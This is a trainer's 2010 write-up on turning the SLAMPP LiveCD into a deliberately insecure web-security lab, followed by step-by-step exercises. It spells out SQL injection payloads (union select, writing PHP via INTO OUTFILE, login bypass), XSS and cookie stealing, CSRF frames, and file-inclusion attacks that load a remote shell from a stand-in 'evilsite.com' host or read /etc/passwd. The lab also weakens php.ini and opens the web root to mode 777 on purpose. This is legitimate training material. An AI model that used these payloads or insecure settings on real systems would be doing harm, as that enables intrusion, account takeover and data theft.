SLAMPP as Training Material at Lackland Air Force Base

Written by

Brian Papile
San Antonio TX
brian.papile@gmail.com

Time of writing: October 2010

In my office we conduct a lot of trainings. So I thought I would pass on some knowledge I have in the field of web application security. Not everyone is a programmer/coder so I knew I would have to make it as basic as possible.

As I would be doing it on work time, and didn't want to ask for funds, acquiring a server and software was out of the question. So I started looking for a LiveCD that would be able to help. The reason I wanted a LiveCD is because I didn't want to restore a backup after ever class. I also wanted ever user to be able to take it home if they wanted and to not have everyone attacking the same server. This was needed so every user had access to the examples. I stumbled across SLAMPP and was really impressed. But I knew I would have to modify it, as it had a lot of packages that could distract a training environment. The main thing I needed to do was upgrade the PHP and MySQL packages so certain commands would work. Also I needed the ability to use MySQL profiling, and in order to do so I needed a newer version of MySQL.

But I am getting ahead of myself; the first thing I had to do was install SLAMPP to the hard drive via the Zen Installer. After the installation process was complete I ran LiloFix in order for the computer to see the new OS in the boot up procedures.

Next I fixed an annoyance as I creating all this on a laptop. I created "/root/.config/autostart/syndaemon.desktop" and put this entry in:

```
[Desktop Entry]
Type=Application
Name=Syndaemon
Exec=syndaemon -i 5 -d
```

This made that once I stop typing the touchpad is disabled for 5 seconds. This was very needed as I would be working on something and my wrist would send the mouse to the desktop and I look up and I realize I just lost a bunch of text.

Next I use the newest Slackware Disk to upgrade the MySQL and PHP packages. I would have liked to have upgraded every package, but my first try at that broke the

computer. And also I was not able to connect the computer to the internet at work so I decided on only upgrading what I needed. In the process PHP breaks so in /usr/lib/libldl.so I copied that file to /usr/lib/libldl.so7 and everything worked fine. To round off the changes I modified php.ini changes (display_errors, allow_url_include, magic_quotes and register_globals) to be a little more insecure for training purposes. I then removed items in the httpd.conf that I wasn't using for the training class (specifically the sub-domains).

Reboot and insured nothing broke (crosses fingers). Login to phpmyadmin and confirm new packages took.

The next thing I did was modify the icon bar at the bottom of the window. This part took me forever to find, as I didn't know the name of it, couldn't find it in any startup scripts/settings. But I edited /usr/share/wbar/dot.wbar to include my briefing and remove other icons. I then removed the Bluetooth and Printer Que from the startup, (Settings > Session and startup > Application Autostart) as the class won't need them.

Reboot and insured nothing broke (crosses fingers).

Next I took a tackle at Iceweasel, it contained a log of add-ons. My class does not need a lot of add-ons. I added edit cookies for some session hijacking and swift tabs (for my laziness of switching tabs with the keyboard).

After that I used System > Zendo to delete all un-used packages. This required a reboot and crossing everything on my body that I didn't break anything.

Next I modified files in the htdocs folder, first I got rid of cgi-bin as I wasn't using any CGI scripting. I also got rid of apps that I wasn't using and their corresponding MySQL databases. I also edited the phpmyadmin/libraries/auth/cookie.auth.lib.php file to include the user name and password so the class wouldn't ask over and over again. I also copied over my examples and databases. I also set the htdocs directory to 777 for testing purposes

Next I modified the /etc/hosts file to include hosts, some for the local computer and others for training examples in a lab environment. I thought it would be easier to remember if I told someone you are google.com instead of 192.168.1.101. And I also thought that it help they think, "What if my example was really vulnerable to this stuff". I chose sites that I knew have/had vulnerabilities on it (can't confirm something.com or xkcd.com). So what I do is get the MAC's of the computers and assigns them to ensure they get the matching entry in the hosts file.

Next I did a few clean up procedures before building the LiveCD. I cleared the history on Iceweasel, deleted "/var/www/htdocs/COOKIEFILE.txt". Then I had to stop apache (apachectl -k stop) I then deleted the access_log and error_log for apache and restarted apache (apachectl -k graceful).

The last thing I had to do was fix the LiveClone script to remove the reference to /home on line 315 because when you run the script as root it causes errors and just hangs (learned this lesson by letting it run for a week).

After fixing that I brought up a terminal type in su, to ensure I was root. I then typed liveclone, and changed the working directory to /tmp. About 3 hours later the image was complete and I was able to burn it using Brasero.

So now that I have explained how I modified SLAMPP, I will go be going through the training exercises. I have included the slide show on the icon bar at the bottom of the desktop (the light icon). The slide show was more keeping me on track and not to be a death by power point.

First off READ THE DISCLAIMER!

SQL injection is a vulnerability that allows attackers to execute code into a database. It is caused by not sanitizing user inputs properly. It can allow for read/write any file that the SQL account has permission to. The attacker can also get the version of SQL running which could lead to attacks against the SQL server itself. It could also allow access to update/select any information from the database. In order to prevent this, I suggest running the SQL server with no read/write permission that could cause a compromise of the system. Also always sanitize your user inputs!

First off if you see YOUR_SITE and you are in a lab environment, use the site name the instructor gave you. If you are using this by yourself, use Slampp.net.

So for the first SQL injection we are going to be using http://YOUR_SITE/bank.php?bal=100&acc_num=2000

The code basically takes the variables in the URL and inserts them into a MySQL query. As you see it lets you know that your account #2000 has been updated with the balance of $100. If we change 1000 to -1000 and acc_num to 0 or 1=1. This will cause every user in the table to have a balance of negative 1000 dollars.

If you click on the Profiling link it will show you exactly what MySQL query was run. I have added this so you can actually see what is happening.

Let's move on to the next example; http://YOUR_SITE/acc_details.php?acc_num=2000

This query is selecting account details and displaying it to the user. If we change 2000 to 1000 we can see someone else's details. This is obviously bad. But it can get worse.

Change 2000 to 0 union select user(), version(), balance from account where account_number=1000

This is performing a union select, what has to happen is the first SQL statement has to be errored out, and the second (union select) will then return it's results and place them into the same spot where the first statement would have placed them. This particular statement I had you run displays the MySQL user that is running, the version of MySQL and the balance of account number 1000.

Well that is pretty bad, but we can take it to the next level. Change 2000 to 0 union select '<?php phpinfo();?>', null, null into outfile '/var/www/htdocs/1.php'
This query will insert the php command phpinfo() into a file called 1.php If we visit http://YOUR_SITE/1.php we will see the result of the PHP command. This allows an attacker to run commands on the system that we will later touch on.

Our next example is authentication bypass via SQL injection. We have a form that checks a MySQL database for the user supplied user name and password. Well it is vulnerable, what we can do is comment out the rest of the query and it will login us in.

Visit: http://YOUR_SITE/login.php?name=user&password=test
Now change user to admin'-- -
Leave the password as test (test is not the password for admin).
You will now be logged in as the admin, without even knowing his password.

The next vulnerability we will touch on is Cross Site Scripting, also known as XSS. It allows attackers to inject scripts into a webpage a user is viewing. It runs on the user's computer. It is caused by not sanitizing user inputs. It can be embedded in another page so you are completely unaware. It can lead to stolen cookies, control of web browser, XSS worms, CSRF and anything a user can do manually on a website. There are 2 types of XSS, persistent and non-persistent. Persistent is stored on the website, think a guestbook. Non-persistent is user supplied, usually in the URL, think a search engine result. It can be fixed by properly sanitizing user inputs. As a user you can prevent it by using NoScript from FireFox or by disabling all scripting in your web browser. Internet Explorer 8 has a decent XSS blocker and it is enabled by default. But enough of that, let's get into some examples.

Here is a non-persistent example:

http://YOUR_SITE/search.php?term=test

Basically whatever is in the parameter of term in the URL is displayed in the page to the user. If we replace test with: <script>alert(1);</script> it will then execute the JavaScript and display an alert box.

That example is harmless but JavaScript is very powerful. But this example in order to cause someone to run the XSS you would have to have them visit your exact link. It is a

little harder to get users to visit, but it can be done with redirects, spam, hidden IFRAMEs and other trickery.

The next example is of persistent type visit: http://YOUR_SITE/guestbook.php

Fill out the form and place this in as a message <script>alert(1);</script> Now any user that happens to visit guestbook.php will see the alert message.

Imagine if this was a banks website, and you logged into it and were then asked for your user name and password again. You think it is phishing but the top URL still says your bank's URL. It is possible, just requires some different code.

Next we will use an example that requires you to steal credentials from another user.

So if you are doing this alone:

Visit http://slampp.net/login2.php

Login with username: test & password: test

Next click new topic, enter anything in the title and click example 1. This will input JavaScript that will insert a cookie stealer. Once you get confirmation your message has been posted, logout.

Visit http://slampp.net/login2.php

But this time we are going to be logging in as if we were some other user. Login with username: test and password: test

Next navigate to the topic you just posted. Did you see the forum flash real quick and redirect you back to the topic list? Well you just had your cookie stolen. We will be using the cookie later. Don’t logout!

If you are doing this in a lab:

Visit http://NEIGHBOR_SITE/login2.php

Login with username: YOUR_SITE_NAME & password: test

Next click new topic, enter anything in the title and click example 1. This will input JavaScript that will insert a cookie stealer. Once you get confirmation your message has been posted, logout.

Visit http://YOUR_SITE/login2.php

Login with YOUR_SITE_NAME & password: test

Next navigate to a topic someone else posted. Did you see the forum flash real quick and redirect you back to the topic list? Well you just had your cookie stolen. We will be using the cookie later. Don't logout!

JavaScript is very powerful; these examples could lead to a XSS worm. Many sites have been hit by XSS worms that spread and affect users. The sites include Twitter, MySpace, Facebook, Orkut and Justin TV. The worms have reset passwords, spam friends to infect their pages, spread malware and some even got so big it caused a DoS (denial of service).

In 2007 MySpace was hit with the Sammy worm. It added "but most of all, Sammy is my hero" (with code to infect friends) on a person's profile and within 20 hours it infected over one million users.

Also many sites that you use every day have been or are vulnerable to XSS. Sites such as Paypal, Ebay, Bank Of American, USAA, Citibank and many others. For a list XSSed.com

In 2008 Justin TV was infected with an XSS worm. It infected 2500 accounts in 24 hours. The site is a web cam broadcasting but just if it had been a bank. This isn't far fetch now, especially with Facebook adding paying of bills.

Next we will move on to session hijacking. Session hijacking is exploiting a valid computer session to gain unauthorized access. This is accomplished by weak session ids in the programming, either easily guessable or incremental. People are using this via XSS, sniffing traffic and also via people that use a web proxy.

The first example is using sequential session ids.

Visit: http://YOUR_SITE/login3.php?session=100

Change session to 200 and now you are logged in under someone else's session. We can do anything as if we were that user.

The next example follow the appropriate instructions.

- Lab

Visit http://NEIGHBOR_SITE/login2.php

Login with User:YOUR_SITE Password:test

In another tab visit http://YOUR_SITE/cookiestealer.php

Find the cookie that was left behind in the previous example.

Switch back to the forum screen.

At the top of the screen click Tools > cookie editor

Find your neighbors site and replace each value of your cookie with what was found on the cookiestealer.php tab.

Once complete refresh the forums page and you should be logged in as someone else.

- Alone

Visit http://slampp.net/login2.php

Login with User:test Password:test

In another tab visit http://slampp.net/cookiestealer.php

Find the cookie that was left behind in the previous example.

Switch back to the forum screen.

At the top of the screen click Tools > cookie editor

Find your neighbors site and replace each value of your cookie with what was found on the cookiestealer.php tab.

Once complete refresh the forums page and you should be logged in as someone else.

The next vulnerability we are going to look at is called Cross Site Request Forgery (CSRF). It allows unauthorized commands to be transmitted from a user the website trusts. It is caused by not checking the referral page and by keeping users logged in. It can be embedded in another page so the user is completely unaware. This can be prevented by checking the previous page, what I mean by this is geocities.com should not be sending information to my website that is hosted at mysite.com.

Visit http://YOUR_SITE/funny_cat.jpg

What this has done is redirect you to logout.php. This is a rather harmless example but it shows that just because the link looks safe, doesn't mean it is.

Next visit http://myblog.com

Inside the page I have a frame that goes to (this can be hidden so you don't see it) http://YOUR_SITE/transfer.php?my_act=1000&theirs=2000&amt=100

What this page does is transfer money from your bank account to mine. If this was hidden you would never have known.

The Second Frame

http://bookface.com/update_email.php?email=evil@guy.com

I have now changed the registered email to mine, I then click forgot password and enter my email and it sends me your password (or something to reset it to a new password)

Visit http://bookface.com/send_password.php

Enter in the email evil@guy.com (if we had a mail server we would then receive the new password)

So CSRF can be very dangerous in these circumstances and others.

Moving on to the next vulnerability we have Open Redirects/Forwards. What it is, is an application that takes a parameter and redirects the user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit a known website they are comfortable with but then redirects them to a malicious site. It can be used with XSS and CSRF to hide or mask their malicious intent. It is caused by not verifying the destination site is safe. It can be fixed by creating a while of known good sites, or by presenting a warning to the user. Along the lines of, "Are you sure you want to leave our page and visit http://example.xyz?"

Our first example is: http://YOUR_SITE/redirct.php?redirect=http://YOUR_SITE

Very harmless, it redirects back to our own website.

Our second example is http://YOUR_SITE/redirct.php?redirect=logout2.php

This redirects us to the logout2.php page, this page has been protected against CSRF and checks to make sure the previous page (referral) was on the same domain. What this is doing is gives us that referring page. So it sees that the referring page is redirect.php on the same site and logs you out.

Our next example is a little more malicious

Visit: http://YOUR_SITE/redirect.php?redirect=http://YOUR_SITE/search.php?term=test<script>alert('XSS');</script>

It is redirecting you to a cross site scripting page, so instead of sending people a URL directly that has script tags in it, you send them this.

Also all these examples could be shortened with some Tiny URL service. (even the XSS example)

Our last vulnerability is Local/Remote File Include (LFI/RFI). This vulnerability allows the inclusion of local or remote files into the current page. If there is code on the page, it will be executed. This could lead to file disclosure, data theft, code execution and much more. It is caused by poor programming and not sanitizing user inputs.

Our first example is and LFI and a RFI at: http://YOUR_SITE/page.php?page=news.php What it is doing is taking the page parameter (which is news.php) and including that file in the page.

Change page to ../../../etc/passwd

This will include the /etc/passwd (which shows you the user names on the system). The reason we have to add ../ is it means go up one directory, and we do it 3 times to get to the root.

Next change page to http://evilsite.com/shell.txt

What shell.txt is a very simple php shell. It allows you to run commands of the same rights as the user the web server is running as. If you type whoami, it will tell you, the web server account is apache. If you type ls, it will list all files in the directory. This is very powerful!

The next thing we can do is if we only had LFI, how we could run PHP code. We need to open a terminal, we need to enter this command, telnet YOUR_SITE 80 (make sure you don't use http:// or www. Just Slampp.net)

You will get a blank a blank line, now type, GET "/test/<?php phpinfo();?>" HTTP/1.1 Press enter twice. Type exit and press enter.

Now go back to Iceweasel and change page to ../../../var/log/httpd/error_log

What did we do? We used telnet to fetch a page that contained PHP code. This page didn't exist, so apache wrote that in the /var/log/httpd/error_log. We then include that log file and the PHP code is executed. You may ask why you couldn't have just visited http://YOUR_SITE.com/test/PHP_CODE? Well web browsers encode non-alphanumeric characters (anything other than A-Z, a-z, 0-9, and some others). So it would just cause errors. Where telnet passes to the web server exactly how it looks.

So when you visit: http://YOUR_SITE/page.php?page=../../../var/log/httpd/error_log

It executes the phpinfo() code and displays the info to us.

As I said before this is very dangerous, there are other files you could include that does the same thing.

Our next example is very similar but it takes the parameter and adds .php to the end of it.

Visit: http://YOUR_SITE/page2.php?file=content

So the command actually then turns into include('content.php') but coded it looks like include($file . '.php')

If you change file to ../../../etc/passwd%00

What the %00 does is basically tell the server, drop everything include myself (comment out the rest).

Change file to http://evilsite.com/shell.txt%00

Our shell file just like before.

Change file to http://evilsite.com/shell.txt?t=

For this example it basically adds ?t=.php which doesn't cause and error and it includes our shell.

Well that is it for the vulnerabilities but I would like to show some protections that you, the user, can do to protect yourself.

The first is a FireFox plugin called NoScript. I have loaded into IceWeasel and can be enabled. You can then surf to the previous examples and see how NoScript protects against XSS. Basically what NoScript does is turn off scripting on that domain, if you allow it (bottom right corner) it will then look for XSS and warn you that it blocked it. It also protects against some other vulnerabilities I did not talk about here. Visit their website for more info.

I also included some real world vulnerable web apps on links.php. The type of vulnerability is there and any credentials that are needed are on the page. For SQL injection I have included the profiling, like before.

Enjoy!